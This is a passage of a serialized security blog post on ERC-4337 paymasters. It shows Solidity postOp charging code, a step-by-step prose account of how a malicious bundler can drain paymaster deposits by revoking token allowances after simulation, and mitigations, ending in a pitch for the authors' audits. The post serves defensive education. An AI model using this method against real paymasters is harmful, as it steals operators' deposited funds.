_context",{"type":25,"tag":271,"props":120041,"children":120042},{"style":13625},[120043],{"type":30,"value":14351},{"type":25,"tag":271,"props":120045,"children":120046},{"class":13593,"line":14391},[120047,120051,120056],{"type":25,"tag":271,"props":120048,"children":120049},{"style":13609},[120050],{"type":30,"value":103121},{"type":25,"tag":271,"props":120052,"children":120053},{"style":13598},[120054],{"type":30,"value":120055}," _actualGasCost",{"type":25,"tag":271,"props":120057,"children":120058},{"style":13625},[120059],{"type":30,"value":14351},{"type":25,"tag":271,"props":120061,"children":120062},{"class":13593,"line":14400},[120063,120067],{"type":25,"tag":271,"props":120064,"children":120065},{"style":13609},[120066],{"type":30,"value":103121},{"type":25,"tag":271,"props":120068,"children":120069},{"style":13598},[120070],{"type":30,"value":120071}," _actualUserOpFeePerGas\n",{"type":25,"tag":271,"props":120073,"children":120074},{"class":13593,"line":16406},[120075],{"type":25,"tag":271,"props":120076,"children":120077},{"style":13625},[120078],{"type":30,"value":37029},{"type":25,"tag":271,"props":120080,"children":120081},{"class":13593,"line":16434},[120082],{"type":25,"tag":271,"props":120083,"children":120084},{"style":14289},[120085],{"type":30,"value":116145},{"type":25,"tag":271,"props":120087,"children":120088},{"class":13593,"line":16447},[120089],{"type":25,"tag":271,"props":120090,"children":120091},{"style":13625},[120092],{"type":30,"value":42299},{"type":25,"tag":271,"props":120094,"children":120095},{"class":13593,"line":16465},[120096,120101,120105,120110,120114,120119],{"type":25,"tag":271,"props":120097,"children":120098},{"style":13625},[120099],{"type":30,"value":120100},"        ERC20PostOpContext ",{"type":25,"tag":271,"props":120102,"children":120103},{"style":14289},[120104],{"type":30,"value":89088},{"type":25,"tag":271,"props":120106,"children":120107},{"style":13625},[120108],{"type":30,"value":120109}," ctx ",{"type":25,"tag":271,"props":120111,"children":120112},{"style":13603},[120113],{"type":30,"value":1065},{"type":25,"tag":271,"props":120115,"children":120116},{"style":13620},[120117],{"type":30,"value":120118}," _parsePostOpContext",{"type":25,"tag":271,"props":120120,"children":120121},{"style":13625},[120122],{"type":30,"value":120123},"(_context);\n",{"type":25,"tag":271,"props":120125,"children":120126},{"class":13593,"line":16486},[120127],{"type":25,"tag":271,"props":120128,"children":120129},{"emptyLinePlaceholder":18},[120130],{"type":30,"value":16829},{"type":25,"tag":271,"props":120132,"children":120133},{"class":13593,"line":16495},[120134,120138,120143,120147,120152],{"type":25,"tag":271,"props":120135,"children":120136},{"style":13609},[120137],{"type":30,"value":103121},{"type":25,"tag":271,"props":120139,"children":120140},{"style":13625},[120141],{"type":30,"value":120142}," expectedPenaltyGasCost ",{"type":25,"tag":271,"props":120144,"children":120145},{"style":13603},[120146],{"type":30,"value":1065},{"type":25,"tag":271,"props":120148,"children":120149},{"style":13620},[120150],{"type":30,"value":120151}," _expectedPenaltyGasCost",{"type":25,"tag":271,"props":120153,"children":120154},{"style":13625},[120155],{"type":30,"value":16609},{"type":25,"tag":271,"props":120157,"children":120158},{"class":13593,"line":16744},[120159],{"type":25,"tag":271,"props":120160,"children":120161},{"style":13625},[120162],{"type":30,"value":120163},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":25,"tag":271,"props":120165,"children":120166},{"class":13593,"line":16761},[120167],{"type":25,"tag":271,"props":120168,"children":120169},{"style":13625},[120170],{"type":30,"value":20865},{"type":25,"tag":271,"props":120172,"children":120173},{"class":13593,"line":16778},[120174],{"type":25,"tag":271,"props":120175,"children":120176},{"emptyLinePlaceholder":18},[120177],{"type":30,"value":16829},{"type":25,"tag":271,"props":120179,"children":120180},{"class":13593,"line":16791},[120181,120185,120189,120193,120198,120202],{"type":25,"tag":271,"props":120182,"children":120183},{"style":13609},[120184],{"type":30,"value":103121},{"type":25,"tag":271,"props":120186,"children":120187},{"style":13625},[120188],{"type":30,"value":117201},{"type":25,"tag":271,"props":120190,"children":120191},{"style":13603},[120192],{"type":30,"value":1065},{"type":25,"tag":271,"props":120194,"children":120195},{"style":13625},[120196],{"type":30,"value":120197}," _actualGasCost ",{"type":25,"tag":271,"props":120199,"children":120200},{"style":13603},[120201],{"type":30,"value":2074},{"type":25,"tag":271,"props":120203,"children":120204},{"style":13625},[120205],{"type":30,"value":120206}," expectedPenaltyGasCost;\n",{"type":25,"tag":271,"props":120208,"children":120209},{"class":13593,"line":16800},[120210],{"type":25,"tag":271,"props":120211,"children":120212},{"emptyLinePlaceholder":18},[120213],{"type":30,"value":16829},{"type":25,"tag":271,"props":120215,"children":120216},{"class":13593,"line":16823},[120217,120221,120226],{"type":25,"tag":271,"props":120218,"children":120219},{"style":13609},[120220],{"type":30,"value":103121},{"type":25,"tag":271,"props":120222,"children":120223},{"style":13625},[120224],{"type":30,"value":120225}," costInToken ",{"type":25,"tag":271,"props":120227,"children":120228},{"style":13603},[120229],{"type":30,"value":27814},{"type":25,"tag":271,"props":120231,"children":120232},{"class":13593,"line":16832},[120233,120238,120243,120247],{"type":25,"tag":271,"props":120234,"children":120235},{"style":13620},[120236],{"type":30,"value":120237},"            getCostInToken",{"type":25,"tag":271,"props":120239,"children":120240},{"style":13625},[120241],{"type":30,"value":120242},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":25,"tag":271,"props":120244,"children":120245},{"style":13603},[120246],{"type":30,"value":2074},{"type":25,"tag":271,"props":120248,"children":120249},{"style":13625},[120250],{"type":30,"value":120251}," ctx.constantFee;\n",{"type":25,"tag":271,"props":120253,"children":120254},{"class":13593,"line":16841},[120255],{"type":25,"tag":271,"props":120256,"children":120257},{"emptyLinePlaceholder":18},[120258],{"type":30,"value":16829},{"type":25,"tag":271,"props":120260,"children":120261},{"class":13593,"line":16907},[120262,120266,120271],{"type":25,"tag":271,"props":120263,"children":120264},{"style":13609},[120265],{"type":30,"value":103121},{"type":25,"tag":271,"props":120267,"children":120268},{"style":13625},[120269],{"type":30,"value":120270}," absoluteCostInToken ",{"type":25,"tag":271,"props":120272,"children":120273},{"style":13603},[120274],{"type":30,"value":27814},{"type":25,"tag":271,"props":120276,"children":120277},{"class":13593,"line":16915},[120278,120283,120287,120292,120296,120300,120304,120308,120312,120316,120320],{"type":25,"tag":271,"props":120279,"children":120280},{"style":13625},[120281],{"type":30,"value":120282},"            costInToken ",{"type":25,"tag":271,"props":120284,"children":120285},{"style":13603},[120286],{"type":30,"value":23586},{"type":25,"tag":271,"props":120288,"children":120289},{"style":13625},[120290],{"type":30,"value":120291}," ctx.preFundCharged ",{"type":25,"tag":271,"props":120293,"children":120294},{"style":13603},[120295],{"type":30,"value":5632},{"type":25,"tag":271,"props":120297,"children":120298},{"style":13625},[120299],{"type":30,"value":120225},{"type":25,"tag":271,"props":120301,"children":120302},{"style":13603},[120303],{"type":30,"value":17459},{"type":25,"tag":271,"props":120305,"children":120306},{"style":13625},[120307],{"type":30,"value":120291},{"type":25,"tag":271,"props":120309,"children":120310},{"style":13603},[120311],{"type":30,"value":359},{"type":25,"tag":271,"props":120313,"children":120314},{"style":13625},[120315],{"type":30,"value":120291},{"type":25,"tag":271,"props":120317,"children":120318},{"style":13603},[120319],{"type":30,"value":17459},{"type":25,"tag":271,"props":120321,"children":120322},{"style":13625},[120323],{"type":30,"value":120324}," costInToken;\n",{"type":25,"tag":271,"props":120326,"children":120327},{"class":13593,"line":16945},[120328],{"type":25,"tag":271,"props":120329,"children":120330},{"emptyLinePlaceholder":18},[120331],{"type":30,"value":16829},{"type":25,"tag":271,"props":120333,"children":120334},{"class":13593,"line":16953},[120335,120340,120344],{"type":25,"tag":271,"props":120336,"children":120337},{"style":13625},[120338],{"type":30,"value":120339},"        SafeTransferLib.",{"type":25,"tag":271,"props":120341,"children":120342},{"style":13620},[120343],{"type":30,"value":116732},{"type":25,"tag":271,"props":120345,"children":120346},{"style":13625},[120347],{"type":30,"value":16609},{"type":25,"tag":271,"props":120349,"children":120350},{"class":13593,"line":16984},[120351],{"type":25,"tag":271,"props":120352,"children":120353},{"style":13625},[120354],{"type":30,"value":120355},"            ctx.token,\n",{"type":25,"tag":271,"props":120357,"children":120358},{"class":13593,"line":16992},[120359,120363,120367,120371,120375,120380,120384],{"type":25,"tag":271,"props":120360,"children":120361},{"style":13625},[120362],{"type":30,"value":120282},{"type":25,"tag":271,"props":120364,"children":120365},{"style":13603},[120366],{"type":30,"value":23586},{"type":25,"tag":271,"props":120368,"children":120369},{"style":13625},[120370],{"type":30,"value":120291},{"type":25,"tag":271,"props":120372,"children":120373},{"style":13603},[120374],{"type":30,"value":5632},{"type":25,"tag":271,"props":120376,"children":120377},{"style":13625},[120378],{"type":30,"value":120379}," ctx.sender ",{"type":25,"tag":271,"props":120381,"children":120382},{"style":13603},[120383],{"type":30,"value":359},{"type":25,"tag":271,"props":120385,"children":120386},{"style":13625},[120387],{"type":30,"value":120388}," ctx.treasury,\n",{"type":25,"tag":271,"props":120390,"children":120391},{"class":13593,"line":17052},[120392,120396,120400,120404,120408,120413,120417],{"type":25,"tag":271,"props":120393,"children":120394},{"style":13625},[120395],{"type":30,"value":120282},{"type":25,"tag":271,"props":120397,"children":120398},{"style":13603},[120399],{"type":30,"value":23586},{"type":25,"tag":271,"props":120401,"children":120402},{"style":13625},[120403],{"type":30,"value":120291},{"type":25,"tag":271,"props":120405,"children":120406},{"style":13603},[120407],{"type":30,"value":5632},{"type":25,"tag":271,"props":120409,"children":120410},{"style":13625},[120411],{"type":30,"value":120412}," ctx.treasury ",{"type":25,"tag":271,"props":120414,"children":120415},{"style":13603},[120416],{"type":30,"value":359},{"type":25,"tag":271,"props":120418,"children":120419},{"style":13625},[120420],{"type":30,"value":120421}," ctx.sender,\n",{"type":25,"tag":271,"props":120423,"children":120424},{"class":13593,"line":22168},[120425],{"type":25,"tag":271,"props":120426,"children":120427},{"style":13625},[120428],{"type":30,"value":120429},"            absoluteCostInToken\n",{"type":25,"tag":271,"props":120431,"children":120432},{"class":13593,"line":22186},[120433],{"type":25,"tag":271,"props":120434,"children":120435},{"style":13625},[120436],{"type":30,"value":20865},{"type":25,"tag":271,"props":120438,"children":120439},{"class":13593,"line":22231},[120440],{"type":25,"tag":271,"props":120441,"children":120442},{"emptyLinePlaceholder":18},[120443],{"type":30,"value":16829},{"type":25,"tag":271,"props":120445,"children":120446},{"class":13593,"line":22337},[120447,120451,120456,120460,120465,120469,120474,120478,120483],{"type":25,"tag":271,"props":120448,"children":120449},{"style":13609},[120450],{"type":30,"value":103121},{"type":25,"tag":271,"props":120452,"children":120453},{"style":13625},[120454],{"type":30,"value":120455}," preFundInToken ",{"type":25,"tag":271,"props":120457,"children":120458},{"style":13603},[120459],{"type":30,"value":1065},{"type":25,"tag":271,"props":120461,"children":120462},{"style":13625},[120463],{"type":30,"value":120464}," (ctx.preFund ",{"type":25,"tag":271,"props":120466,"children":120467},{"style":13603},[120468],{"type":30,"value":17702},{"type":25,"tag":271,"props":120470,"children":120471},{"style":13625},[120472],{"type":30,"value":120473}," ctx.exchangeRate) ",{"type":25,"tag":271,"props":120475,"children":120476},{"style":13603},[120477],{"type":30,"value":7621},{"type":25,"tag":271,"props":120479,"children":120480},{"style":16187},[120481],{"type":30,"value":120482}," 1e18",{"type":25,"tag":271,"props":120484,"children":120485},{"style":13625},[120486],{"type":30,"value":16165},{"type":25,"tag":271,"props":120488,"children":120489},{"class":13593,"line":36608},[120490],{"type":25,"tag":271,"props":120491,"children":120492},{"emptyLinePlaceholder":18},[120493],{"type":30,"value":16829},{"type":25,"tag":271,"props":120495,"children":120496},{"class":13593,"line":36643},[120497,120501,120506,120510,120514,120518,120522,120526,120530,120534,120538],{"type":25,"tag":271,"props":120498,"children":120499},{"style":16171},[120500],{"type":30,"value":16412},{"type":25,"tag":271,"props":120502,"children":120503},{"style":13625},[120504],{"type":30,"value":120505}," (ctx.recipient ",{"type":25,"tag":271,"props":120507,"children":120508},{"style":13603},[120509],{"type":30,"value":28810},{"type":25,"tag":271,"props":120511,"children":120512},{"style":13609},[120513],{"type":30,"value":19378},{"type":25,"tag":271,"props":120515,"children":120516},{"style":13625},[120517],{"type":30,"value":394},{"type":25,"tag":271,"props":120519,"children":120520},{"style":16187},[120521],{"type":30,"value":953},{"type":25,"tag":271,"props":120523,"children":120524},{"style":13625},[120525],{"type":30,"value":14406},{"type":25,"tag":271,"props":120527,"children":120528},{"style":13603},[120529],{"type":30,"value":86311},{"type":25,"tag":271,"props":120531,"children":120532},{"style":13625},[120533],{"type":30,"value":120455},{"type":25,"tag":271,"props":120535,"children":120536},{"style":13603},[120537],{"type":30,"value":23586},{"type":25,"tag":271,"props":120539,"children":120540},{"style":13625},[120541],{"type":30,"value":120542}," costInToken) {\n",{"type":25,"tag":271,"props":120544,"children":120545},{"class":13593,"line":36651},[120546,120551,120555,120560,120564],{"type":25,"tag":271,"props":120547,"children":120548},{"style":13625},[120549],{"type":30,"value":120550},"            SafeTransferLib.",{"type":25,"tag":271,"props":120552,"children":120553},{"style":13620},[120554],{"type":30,"value":116732},{"type":25,"tag":271,"props":120556,"children":120557},{"style":13625},[120558],{"type":30,"value":120559},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":25,"tag":271,"props":120561,"children":120562},{"style":13603},[120563],{"type":30,"value":17459},{"type":25,"tag":271,"props":120565,"children":120566},{"style":13625},[120567],{"type":30,"value":120568}," costInToken);\n",{"type":25,"tag":271,"props":120570,"children":120571},{"class":13593,"line":36659},[120572],{"type":25,"tag":271,"props":120573,"children":120574},{"style":13625},[120575],{"type":30,"value":16492},{"type":25,"tag":271,"props":120577,"children":120578},{"class":13593,"line":36668},[120579],{"type":25,"tag":271,"props":120580,"children":120581},{"emptyLinePlaceholder":18},[120582],{"type":30,"value":16829},{"type":25,"tag":271,"props":120584,"children":120585},{"class":13593,"line":36710},[120586,120591,120595],{"type":25,"tag":271,"props":120587,"children":120588},{"style":16171},[120589],{"type":30,"value":120590},"        emit",{"type":25,"tag":271,"props":120592,"children":120593},{"style":13620},[120594],{"type":30,"value":117466},{"type":25,"tag":271,"props":120596,"children":120597},{"style":13625},[120598],{"type":30,"value":120599},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":25,"tag":271,"props":120601,"children":120602},{"class":13593,"line":36743},[120603],{"type":25,"tag":271,"props":120604,"children":120605},{"style":13625},[120606],{"type":30,"value":16501},{"type":25,"tag":26,"props":120608,"children":120609},{},[120610,120612,120617,120619,120625,120627,120633,120635,120640,120642,120647],{"type":30,"value":120611},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":25,"tag":264,"props":120613,"children":120615},{"className":120614},[],[120616],{"type":30,"value":116732},{"type":30,"value":120618},". Note that ",{"type":25,"tag":264,"props":120620,"children":120622},{"className":120621},[],[120623],{"type":30,"value":120624},"preFundCharged",{"type":30,"value":120626}," can be zero, as users can opt out of any ",{"type":25,"tag":264,"props":120628,"children":120630},{"className":120629},[],[120631],{"type":30,"value":120632},"preFund",{"type":30,"value":120634}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":25,"tag":264,"props":120636,"children":120638},{"className":120637},[],[120639],{"type":30,"value":117533},{"type":30,"value":120641}," call inside ",{"type":25,"tag":264,"props":120643,"children":120645},{"className":120644},[],[120646],{"type":30,"value":118616},{"type":30,"value":120648}," will revert and the paymaster won't be able to collect payment from the user.",{"type":25,"tag":26,"props":120650,"children":120651},{},[120652,120654,120659,120661,120667,120669,120675],{"type":30,"value":120653},"However, even when ",{"type":25,"tag":264,"props":120655,"children":120657},{"className":120656},[],[120658],{"type":30,"value":117533},{"type":30,"value":120660}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":25,"tag":264,"props":120662,"children":120664},{"className":120663},[],[120665],{"type":30,"value":120666},"requiredPrefund",{"type":30,"value":120668}," was taken from the paymaster's ",{"type":25,"tag":83,"props":120670,"children":120673},{"href":120671,"rel":120672},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[9066],[120674],{"type":30,"value":75078},{"type":30,"value":1860},{"type":25,"tag":26,"props":120677,"children":120678},{},[120679,120681,120686],{"type":30,"value":120680},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":25,"tag":264,"props":120682,"children":120684},{"className":120683},[],[120685],{"type":30,"value":117533},{"type":30,"value":120687}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":25,"tag":661,"props":120689,"children":120690},{},[120691,120709,120728,120739,120744],{"type":25,"tag":112,"props":120692,"children":120693},{},[120694,120696,120701,120703],{"type":30,"value":120695},"The bundler creates a ",{"type":25,"tag":264,"props":120697,"children":120699},{"className":120698},[],[120700],{"type":30,"value":115276},{"type":30,"value":120702}," with an intentionally high ",{"type":25,"tag":264,"props":120704,"children":120706},{"className":120705},[],[120707],{"type":30,"value":120708},"gasPrice",{"type":25,"tag":112,"props":120710,"children":120711},{},[120712,120714,120719,120721,120726],{"type":30,"value":120713},"The bundler ensures the ",{"type":25,"tag":264,"props":120715,"children":120717},{"className":120716},[],[120718],{"type":30,"value":117533},{"type":30,"value":120720}," call will fail by revoking the paymaster's token allowance before ",{"type":25,"tag":264,"props":120722,"children":120724},{"className":120723},[],[120725],{"type":30,"value":117533},{"type":30,"value":120727}," executes",{"type":25,"tag":112,"props":120729,"children":120730},{},[120731,120732,120737],{"type":30,"value":76469},{"type":25,"tag":264,"props":120733,"children":120735},{"className":120734},[],[120736],{"type":30,"value":117533},{"type":30,"value":120738}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":25,"tag":112,"props":120740,"children":120741},{},[120742],{"type":30,"value":120743},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":25,"tag":112,"props":120745,"children":120746},{},[120747],{"type":30,"value":120748},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":25,"tag":26,"props":120750,"children":120751},{},[120752,120754,120759,120761,120766],{"type":30,"value":120753},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":25,"tag":264,"props":120755,"children":120757},{"className":120756},[],[120758],{"type":30,"value":115305},{"type":30,"value":120760}," designed to fail during ",{"type":25,"tag":264,"props":120762,"children":120764},{"className":120763},[],[120765],{"type":30,"value":117533},{"type":30,"value":120767}," while maximizing the gas costs they can charge to the paymaster.",{"type":25,"tag":26,"props":120769,"children":120770},{},[120771,120773,120778,120780,120785,120787,120793,120795,120800],{"type":30,"value":120772},"Some paymasters try to protect against this by simulating the ",{"type":25,"tag":264,"props":120774,"children":120776},{"className":120775},[],[120777],{"type":30,"value":115276},{"type":30,"value":120779}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":25,"tag":264,"props":120781,"children":120783},{"className":120782},[],[120784],{"type":30,"value":115276},{"type":30,"value":120786}," is submitted via ",{"type":25,"tag":264,"props":120788,"children":120790},{"className":120789},[],[120791],{"type":30,"value":120792},"handleOps",{"type":30,"value":120794},". This means the ",{"type":25,"tag":264,"props":120796,"children":120798},{"className":120797},[],[120799],{"type":30,"value":117533},{"type":30,"value":120801}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":25,"tag":26,"props":120803,"children":120804},{},[120805],{"type":30,"value":120806},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":25,"tag":26,"props":120808,"children":120809},{},[120810],{"type":30,"value":120811},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":25,"tag":26,"props":120813,"children":120814},{},[120815],{"type":30,"value":120816},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":25,"tag":48484,"props":120818,"children":120819},{"id":42044},[120820],{"type":30,"value":32068},{"type":25,"tag":26,"props":120822,"children":120823},{},[120824],{"type":30,"value":120825},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":25,"tag":661,"props":120827,"children":120828},{},[120829,120834,120839,120844,120849],{"type":25,"tag":112,"props":120830,"children":120831},{},[120832],{"type":30,"value":120833},"Always collect full payment during validation, not after execution",{"type":25,"tag":112,"props":120835,"children":120836},{},[120837],{"type":30,"value":120838},"Be conservative with gas estimations and include safety margins",{"type":25,"tag":112,"props":120840,"children":120841},{},[120842],{"type":30,"value":120843},"Carefully validate all user inputs and token transfers",{"type":25,"tag":112,"props":120845,"children":120846},{},[120847],{"type":30,"value":120848},"Test extensively, including simulation of malicious behavior",{"type":25,"tag":112,"props":120850,"children":120851},{},[120852,120854,120859],{"type":30,"value":120853},"Always review changes in new ",{"type":25,"tag":264,"props":120855,"children":120857},{"className":120856},[],[120858],{"type":30,"value":115357},{"type":30,"value":120860}," versions, as they may impact your paymaster's design and security assumptions",{"type":25,"tag":26,"props":120862,"children":120863},{},[120864,120866,120871,120873,120878,120880,120885],{"type":30,"value":120865},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":25,"tag":264,"props":120867,"children":120869},{"className":120868},[],[120870],{"type":30,"value":115357},{"type":30,"value":120872}," contract's behavior could potentially break existing ",{"type":25,"tag":264,"props":120874,"children":120876},{"className":120875},[],[120877],{"type":30,"value":115429},{"type":30,"value":120879}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":25,"tag":264,"props":120881,"children":120883},{"className":120882},[],[120884],{"type":30,"value":115357},{"type":30,"value":120886}," versions.",{"type":25,"tag":26,"props":120888,"children":120889},{},[120890],{"type":30,"value":120891},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":25,"tag":26,"props":120893,"children":120894},{},[120895],{"type":30,"value":120896},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":25,"tag":15963,"props":120898,"children":120899},{},[120900],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":120902},[120903,120904,120905,120912,120917,120918],{"id":115191,"depth":11641,"text":115194},{"id":115207,"depth":11641,"text":115210},{"id":115246,"depth":11641,"text":115249,"children":120906},[120907,120908,120909,120910,120911],{"id":115269,"depth":14354,"text":115276},{"id":115310,"depth":14354,"text":115313},{"id":115336,"depth":14354,"text":115339},{"id":27844,"depth":14354,"text":115357},{"id":115429,"depth":14354,"text":115440},{"id":115492,"depth":11641,"text":120913,"children":120914},"Understanding the EntryPoint's Flow",[120915,120916],{"id":115548,"depth":14354,"text":115551},{"id":115733,"depth":14354,"text":115736},{"id":115976,"depth":11641,"text":115982},{"id":117576,"depth":11641,"text":117582,"children":120919},[120920,120921],{"id":117636,"depth":14354,"text":117639},{"id":117695,"depth":14354,"text":117698},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":120926,"image":120927,"isFeatured":18,"onBlogPage":18,"tags":120928,"body":120929,"_type":16004,"_id":16005,"_source":16006,"_file":16007,"_stem":16008,"_extension":16009},[12,13],{"src":15,"width":16,"height":17},[20],{"type":22,"children":120930,"toc":136056},[120931,120935,120969,120978,120981,120985,120989,121092,121095,121099,121103,121107,121137,121281,121285,121404,121413,121422,121441,121450,121454,121481,121487,121491,121494,121498,121502,121506,121510,121514,121520,121534,121668,121672,121676,121766,122487,122553,122562,122568,123033,123037,123469,123808,123957,123961,124847,124999,125003,125093,125097,125646,126092,126166,126170,126174,126239,126247,126260,126268,126324,126728,126758,126766,126933,126937,126945,127529,127716,127730,127733,127737,127741,127747,127777,128126,128130,128211,128214,128218,128224,128228,128231,128235,128239,128246,128253,128260,128266,128291,128297,128304,128392,128641,128963,128970,128999,129165,129487,129491,129495,129508,129511,129515,129519,129528,129538,130122,130132,130141,130148,130155,130165,130171,130185,130189,130468,130484,130576,130592,130605,130608,130612,130616,130620,130627,130634,130641,130647,130657,130672,131123,131223,131227,131231,131244,131247,131251,131255,131264,131273,131277,131661,131668,131675,131696,131713,131965,131975,131992,132376,132720,132948,133106,133264,133829,133833,133853,133856,133860,133864,133871,133878,133888,133953,133963,133970,133979,133985,133995,134268,134354,134377,134380,134384,134510,134519,134526,134530,134675,134696,134703,134709,134713,134768,134772,135159,135239,135252,135255,135259,135263,135267,135358,135414,135418,135422,135426,135432,135436,135440,135444,135448,135452,135456,135459,135463,135467,135471,135475,135479,135483,135487,135490,135494,135636,135640,135643,135647,135655,135967,135971,135986,135990,136005,136009,136012,136016,136020,136024,136032,136036,136044,136052],{"type":25,"tag":26,"props":120932,"children":120933},{},[120934],{"type":30,"value":31},{"type":25,"tag":26,"props":120936,"children":120937},{},[120938,120939,120943,120944,120948,120949,120953,120954,120958,120959,120963,120964,120968],{"type":30,"value":36},{"type":25,"tag":38,"props":120940,"children":120941},{},[120942],{"type":30,"value":42},{"type":30,"value":44},{"type":25,"tag":38,"props":120945,"children":120946},{},[120947],{"type":30,"value":49},{"type":30,"value":44},{"type":25,"tag":38,"props":120950,"children":120951},{},[120952],{"type":30,"value":55},{"type":30,"value":44},{"type":25,"tag":38,"props":120955,"children":120956},{},[120957],{"type":30,"value":61},{"type":30,"value":44},{"type":25,"tag":38,"props":120960,"children":120961},{},[120962],{"type":30,"value":67},{"type":30,"value":69},{"type":25,"tag":38,"props":120965,"children":120966},{},[120967],{"type":30,"value":74},{"type":30,"value":76},{"type":25,"tag":26,"props":120970,"children":120971},{},[120972,120973,120977],{"type":30,"value":81},{"type":25,"tag":83,"props":120974,"children":120975},{"href":85},[120976],{"type":30,"value":88},{"type":30,"value":90},{"type":25,"tag":92,"props":120979,"children":120980},{},[],{"type":25,"tag":96,"props":120982,"children":120983},{"id":98},[120984],{"type":30,"value":101},{"type":25,"tag":26,"props":120986,"children":120987},{},[120988],{"type":30,"value":106},{"type":25,"tag":108,"props":120990,"children":120991},{},[120992,121000,121008,121016,121024,121032,121040,121048,121056,121064,121072,121080],{"type":25,"tag":112,"props":120993,"children":120994},{},[120995,120999],{"type":25,"tag":38,"props":120996,"children":120997},{},[120998],{"type":30,"value":119},{"type":30,"value":121},{"type":25,"tag":112,"props":121001,"children":121002},{},[121003,121007],{"type":25,"tag":38,"props":121004,"children":121005},{},[121006],{"type":30,"value":129},{"type":30,"value":131},{"type":25,"tag":112,"props":121009,"children":121010},{},[121011,121015],{"type":25,"tag":38,"props":121012,"children":121013},{},[121014],{"type":30,"value":139},{"type":30,"value":141},{"type":25,"tag":112,"props":121017,"children":121018},{},[121019,121023],{"type":25,"tag":38,"props":121020,"children":121021},{},[121022],{"type":30,"value":149},{"type":30,"value":151},{"type":25,"tag":112,"props":121025,"children":121026},{},[121027,121031],{"type":25,"tag":38,"props":121028,"children":121029},{},[121030],{"type":30,"value":159},{"type":30,"value":161},{"type":25,"tag":112,"props":121033,"children":121034},{},[121035,121039],{"type":25,"tag":38,"props":121036,"children":121037},{},[121038],{"type":30,"value":169},{"type":30,"value":171},{"type":25,"tag":112,"props":121041,"children":121042},{},[121043,121047],{"type":25,"tag":38,"props":121044,"children":121045},{},[121046],{"type":30,"value":179},{"type":30,"value":181},{"type":25,"tag":112,"props":121049,"children":121050},{},[121051,121055],{"type":25,"tag":38,"props":121052,"children":121053},{},[121054],{"type":30,"value":189},{"type":30,"value":191},{"type":25,"tag":112,"props":121057,"children":121058},{},[121059,121063],{"type":25,"tag":38,"props":121060,"children":121061},{},[121062],{"type":30,"value":199},{"type":30,"value":201},{"type":25,"tag":112,"props":121065,"children":121066},{},[121067,121071],{"type":25,"tag":38,"props":121068,"children":121069},{},[121070],{"type":30,"value":209},{"type":30,"value":211},{"type":25,"tag":112,"props":121073,"children":121074},{},[121075,121079],{"type":25,"tag":38,"props":121076,"children":121077},{},[121078],{"type":30,"value":219},{"type":30,"value":221},{"type":25,"tag":112,"props":121081,"children":121082},{},[121083,121087,121088],{"type":25,"tag":38,"props":121084,"children":121085},{},[121086],{"type":30,"value":229},{"type":30,"value":231},{"type":25,"tag":38,"props":121089,"children":121090},{},[121091],{"type":30,"value":236},{"type":25,"tag":92,"props":121093,"children":121094},{},[],{"type":25,"tag":96,"props":121096,"children":121097},{"id":242},[121098],{"type":30,"value":245},{"type":25,"tag":247,"props":121100,"children":121101},{"id":249},[121102],{"type":30,"value":252},{"type":25,"tag":26,"props":121104,"children":121105},{},[121106],{"type":30,"value":257},{"type":25,"tag":26,"props":121108,"children":121109},{},[121110,121111,121136],{"type":30,"value":262},{"type":25,"tag":264,"props":121112,"children":121114},{"className":121113},[267,268],[121115],{"type":25,"tag":271,"props":121116,"children":121118},{"className":121117},[274],[121119],{"type":25,"tag":271,"props":121120,"children":121122},{"className":121121,"ariaHidden":280},[279],[121123],{"type":25,"tag":271,"props":121124,"children":121126},{"className":121125},[285],[121127,121131],{"type":25,"tag":271,"props":121128,"children":121130},{"className":121129,"st